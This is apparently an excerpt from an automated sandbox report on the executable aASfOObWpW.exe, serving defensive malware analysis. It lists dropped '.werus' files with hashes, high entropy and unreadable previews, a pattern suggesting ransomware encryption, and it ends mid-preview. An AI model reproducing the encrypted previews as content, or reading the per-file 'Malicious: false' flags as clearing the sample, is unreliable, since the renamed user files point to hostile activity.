Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....\|..R..M.9.A.E.......7.{/..I......S....}#..bR&..........&.-^..$0{..C..O<k.yk.-T\|@F....1.A.....h....8.........I.2..........\%.....d..DSy..o...!px.....a.._k.....^.z.dT...e.@.c....M...rM.a....;.d<.,.aI..F..I..1v... ...:U.[...........+..+..I....V.c~....lA..u7o..A.j^.p..`..97.U2.4..c..?.3.....1\.\Q...7..u.]01'........>.F..e.NSp?.)..\g..s.F3bxA.uH..9..8....?...[.O..59./......E.Q..........j...z.."3K&G.. ....%0..&I....I.<...@.qH.k.Y............._....V.k.[..$.....F...M.KX..q.+...UA2&go3.\..\|.^....:^....C..0......)...-...u.......:K.........%.4.hv.....uD.j.....Z.C;..\\.%..7...W..dw."...r6<.c.....4...p6>M.u.P^ae....u..8.Th.d &.^Z..Cx.h"..ps..Q..e...^..n.......;.....F&..%W...J.J.......-..L<"b..(.V.....?.d....I_..Y...F.7...iI....V.Q..z........I.i.T.>V...05....k...E.g.5.......w=...%A.#.da.n.Y...!..e.G+...f\.^I.K(..].."..T$s..s.p..T...hk..N.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2080
Entropy (8bit):	7.895718133261898
Encrypted:	false
SSDEEP:	48:hy8XTPopo9I0GAQ4l9b0Q2brXmLGqLOXaq+ACCa6C:hypp14l9b0Q4aGqLPhApC
MD5:	FD3E4142799E70C15030A292990E03B5
SHA1:	BF002223F62BC5A59E24B6709D49846731A8BF71
SHA-256:	DE7C64BCA10968FABD3F81DCE2AF1FBF2A3A4ABAC5052A6178059381B3C74828
SHA-512:	1FF22D67BD01A48432E3FC8C1A8CCE5A6F2BCB2FDB28B4EED5F379AF53BCE0CFC65C79908AF5B73EAD8BC8D309B5E21FDD240D3D3245E74B3BE150632D086417
Malicious:	false
Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....\|..R..M.9.A.E.......7.{/..I..A....e....nSRA..g.6.....U....;...$.5...h....u4r..!...HN..CK.........!..l.......G..N....X..z..l,p.B....J+..=.Y.&N..\|?.5.m.\...O.1....{K9.Z.wZ...."........G\|.l.U.i.L.wI..S..............2u......&8..t..)....O.d].....X....Eg.q>.....n".,;.j..5[.,.W..t...ai6...R~.....1....b.l{.B9.oVB.....W......#-N'.9E.u.......rz.u...OBO....B./.aM.N........k..9....6....,,9.?+..#A.../@.n..#...1r..0BiZF..5.B..5;.^.f...H.../:.)_M...2..E.s......N.VE.y..rB...E..Z(...w.\.......J.....$..q.....Q.i.8..^.ch....wh.<.W...&}.X..T.@._..$../{<%...+..t`..w..IF.-......L.P.\...`.5.2....1m[..v../]U..\|=....;<...v....T..... .{.`D..J..P...h4........8....s.${M.H.pT.}..I.R..$.E.....O...H../!%.0...jq}i...g28..............7....s....F.)N.\..C...{?u(.q0...I8q..~...).fm.\.ar/`....[.W.K...g........2Ex.)..\|...._.q..@..zY.5....nW......io.....^.?.z.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807023005622793
Encrypted:	false
SSDEEP:	24:hy8XTxlNHG5UfkJ9+XlIdYtH970dDHT0e0HOwBToSrNNZTZcJ5oeovE:hy8XTlG5fz+VaqH73RTZMSs
MD5:	6B12A4220B3A1016BE2A7A75342A7815
SHA1:	14BA063C695E7B0548B4FEB1102ED452AD42D73E
SHA-256:	8171040A5862DD62D147747C449AA71E5BC5E9913CC51ACF449CA66731A24522
SHA-512:	C8F905267A73E0DCCEED205CFB9F4EA1684641F0783BC9A798AD3B741A3C7F717B06ADD62575CA43F035A21C189A49818E8CD579280829CF06A08867CADB9FA3
Malicious:	false
Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....-1!/.....{......:RU.(r.p..X...**...=2.....A..F.....Vc.7..z....8...W.v....z=.B,......#....CKe.b\{..?.JW....;R....L.}...7..f:.i.C.NH.....-.......S..3Q9U.O....7/..:d..h.Z...3.,Y.....v.T{^?+l.W..3/.e..v0.".U$.09..q.H..D"..!{bh..!.=....O.k.....J....R.-.1G.....].^..y0....9...P..m5.YM.TB.:.{v;{......._...C....S...+.SP...f..J..;.Gp.Ylj...m..n..T...`.z..RV...i.D........pE....tU......\1..b.v..N..p....S.nL..@...."..Us..J...v.RRe.>...)..{............_...a..3..T1M.........N`....s~.9....o.>......FN.d....7....\.yY5..Z...`.....u.......u..f....d!}..Y..Lb.[&...1...._[.NZ..l]..I...D...8P....Bzw...A-....Q.....r...#..].m...)...6i..Zc.Hh....[X.oC-.y.r.L..e_..?H.w.......we#..yp.1.?..._.....#... Z...`+.M.Hp.@.. ..Yu...H1...n.....$.<...~.px.\|.~k...n....S.^.....JSM....=....-Tp...v.Z......%]..."...Eo.._ ..........p.t...xQ.0.Ly..Y..{.C.......5$".x.h.0.l.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.900129639197506
Encrypted:	false
SSDEEP:	48:hy8XTPlp2fF5VkZ1J09uNZkWVYKGfMNzQYpU3f5LFs+CChjG6l:hyapYFvsr3N5VYvK3mP3td
MD5:	FE14EE1278DDD5C6B12A9CE0094D2CA4
SHA1:	000B952374322B310C0E70D87375BDBDC122CCBE
SHA-256:	8CF17E14191EAE93D7E3D0839E7597404F655C189326FD1AF22FEBAC676F2E9B
SHA-512:	ADE17ACB8E7C8816582E5257136286B254A20833696AD5D194E8ABA0D70079E9A8D54946CA54F711B6F8296E3BD4D447F3708C4782D2B01565829354214C9F45
Malicious:	false
Preview:	..`...D).X`.Q.8.n.....=.5<..R....m.0a.;.z.S~..R...?W..B..0.....@+a"`K}.... A"<........,...2g .F~!].9r.uS. ....\|..R..M.9.A.E.......7.{/..I..O...5....<...+v...J...{.[#.O..OO..C./..<.SN....:..B.+.;.H....!A.K..I..(..e.PvJ.A~.2......9.K.(...J8......"6.-W....v9.H../...........dH..........D.s.....k.eB.l]}./Yd4.V!.Xl!.a...Q.k..].}..RHs.......\|./..e.J./..b.8......&.J....~...`...3g^._.+.5.......u]..r....&..v6c^."p.CdT.R%.yn..$gE..{f.;....tjs.b..5J..d.].l..k=Y.k..m..5..CN..DF..E.[.0.4C...%w\..?..6..4...2.l........2_<.....x...n...T.pL.Q..2.&..vz...a.y.~7..x;A~?P.J+. N..@....<.X.-,...'ne8K...f^..:.,<...jv0Ra.Q..!T......0.M.{W...sTSo"G,...X.gH...5I3\.WA.@.....Z\|fx....G?3r.R=........+....>..7p....j.9.c..`..p.`..m~m..p..P....i.m.....o........~.Ot..x....5)?k..2zz.e...B7....."z.J.KM..... %*..l.1..pC......#...U....T{...;.]C.T..Q.m.....E?....$.p.fF....~...'b>.1_a.p..ML.h.f2.............W...F.S.].PC..,.?..e0...sn......{..2.7G.p.Q8.}FEc..TNDT...Q.....`~...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.55436970869552
Encrypted:	false
SSDEEP:	12:cwR3zuY6jxT96NJMcmCY9Pz/Nnh1Y+4slY8Xl5UH:cC38s6Nh1YNoliH
MD5:	FC1FCAE8FB78D001A549113B42975151
SHA1:	71ED9B386A28C04419C8ED58AB14A8A584EA1E02
SHA-256:	96F7D60F2D756BFB0646DC7AD1B6ED983BEF10942919ED0CC949EF39342ADCFA
SHA-512:	5F2D0C1E839B8975A9B6238155AF54A5115CCC501966F624F7D42CFC96AE476CD862CE78F79368216A20799CCFE4FB44493467EF8CA8849D6F43AC40FEFF2A7B
Malicious:	false
Preview:	..'.......~........u.ButJ.F/.3.K.Jc~..m.......!8.....C^P.\%J...O..E.......cky.......[...`sa>..[..b.....9..O..z....O.-.c_U_s.}..d..q...]..2...p..Z>j......^.C.}.o.1..b..t....08..\|.......}.h.0...^#e.....[!...:.(q......6..... ...Pb4[.lMAf.....EE...?.^/.....K..V....F.\c...............N...s..)..-.)<..)P.m..:...Lt...."'..6.1...S......R.>.g.h.O....\|F6.Z....>.$...X.G.M....S...4.e..."..>.....0.G....d..T..k..3Jo.v.K.....\Ii.y.EW..NF!b

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.884606421093676
Encrypted:	false
SSDEEP:	48:eAiPSUIPIAQoB4E2qP5sTMaTw5Z24dt6h1Gn4Z:ej9/A1B465WTwn24X4fZ
MD5:	4186A031DC161B21B5AFE38E8BC556B7
SHA1:	7617EF8F4252F61C4D1F97CE16538AFDE3A8EC77
SHA-256:	0D0610BD9BB279295B3FF08BE9FCC90213ABF8A53AFE3E4414B96DABEFF45C7E
SHA-512:	62EF8514AD9ED1F367C0650E81E2E2745ADA19429F39755D7097D73AD6BFDC2C5E444C3C68667CC9B07CD3049466C826A1B53BE184EB1976162A845E9920E60F
Malicious:	false
Preview:	.ww:".4.c5O.x..O....r...L.T..\|...).q.?.z<..aC....D.,d....e...N.s.o.,._.Z.D..9...1.^....f.o.N.pw..k...KDL`-.....Zu.`Jt......Fe.AnO........}..........$.N.S.5.FYp#..^.=A.....&....c.^.q.3n.-..3.!/......?..l....}.!...+..]......S,...rTO...].J......0..".3..,.LXi....L!".Q..R.{...c..Z.L1...X.P..._n...a.4h..a...>.e.g..............Q.gZ..q/..viK..N..@{.....d.z,lc.dc....}..S...{#e'......ji......M..._.....Wn.....H....I";....e.R.....A..n.G...!....@..j...e.]].....)C.....lm../&6..m........h..[..z.....$.,..8F....+..$%...i...r..2u...m....)et..%)....1..0..Ko.......fV..v...U...m.....QE...9....4.@.z]..v.d...."....N6..7.....I......h...c..F.0....M.r.t`.c%...GZ.._.......F.c.y.w~.....~..K.T.\"z.u. ...S.6q..n. .......L.....jl."p:.....R[..}{..-,.....e.5..+t..[.l.....!....$..LOy.y...v!..&~mfr...F.T....Hcm7."....gvr!..!..+.Z.eH.,...`....I`J..u.i..<..C...P.P..s.... .+.a\|.9nO.p...9...G......{..w........16.DE.U.5>..7\|.)O......*\....T...UA.M...&b...m...>T.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5648
Entropy (8bit):	7.966761922048005
Encrypted:	false
SSDEEP:	96:lvNeY+M4OlS9GJzniio28blWRTjaCdy6cr6WbB1LbdDCi9EUnjc5pk4HPtpTku/n:lkY+CPxiiQAuRrL1Z9EccjkiPPku/
MD5:	5E8CD323C2517A7F76F2CF0BDDE0A4C3
SHA1:	0CD1C757CF714A76054BD2BAAF599326860A8B78
SHA-256:	AB585B56C6934D62CB8A898145512ABD662480A555A71BBCDB9B36D121E65CE6
SHA-512:	1CDBAE6CA5B4D318CB5339923EB52D479DFA9482EF49F4D3BB5A042FAD1E773B78AAF4E6925B2E29FC9F36BB30A770EFFBF62B1476DF56BD48B822C27282F22E
Malicious:	false
Preview:	.ww:".4.c5O.x..O....r...L.T..\|...).q.?.z<..H]E....=.M.-...LY......\|.........5.'...L.O[V.'.6JU.....=...?.v.E.~..=....x...Ns..5/?.....z..{...........L...../.X.]Q'.....w.:).......}gX.SlFWV,.p...'.K...UH.Z./...r...^.....f.c.h.GO..u.+..............h.b}.9.3.%....0yt~..<.g.n...N.m..~....r.[f.[......t.."..9@q.Ip(..0.^.}._..j...It......v.\|.C^>..z.a1P...L.z...B..M._. -.-..c..j=..,&..C9k..<......,..fA..\...VJ. ...!...-g..pmAW.7...pNs.F..X.kN....u...5....,.c-.N.....?t.".9..s..2.........g...s.N...#...,....M..q..W..P..>`.v..n..p.d..\|..\|z^4.7=Ce...9.=.2...ix......x...1.0:..".X...c...5.F..,D.e.`.....#_qn"...r.C<}...>.\|..#..r..G...V..Z<...^.,.Nu5.\A...P.{:.6....Z.....@..........'n.Z......;.6...q..a^..>.*.\.PD..R.e%......4U.<u.-........p%...G...5.+...........+. .w.k....xt..I....u...6.7.E.0k.3...AN.KS..z..K..Z.e...O.."@-.FD./...^...Op..]..-;..s....+@m...o+h...iw`...S}.N/ N..l.'..5{.N....:....`%..15q..L._>...8.....'N..5.S.m..~r...s.}>.e.ky&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. 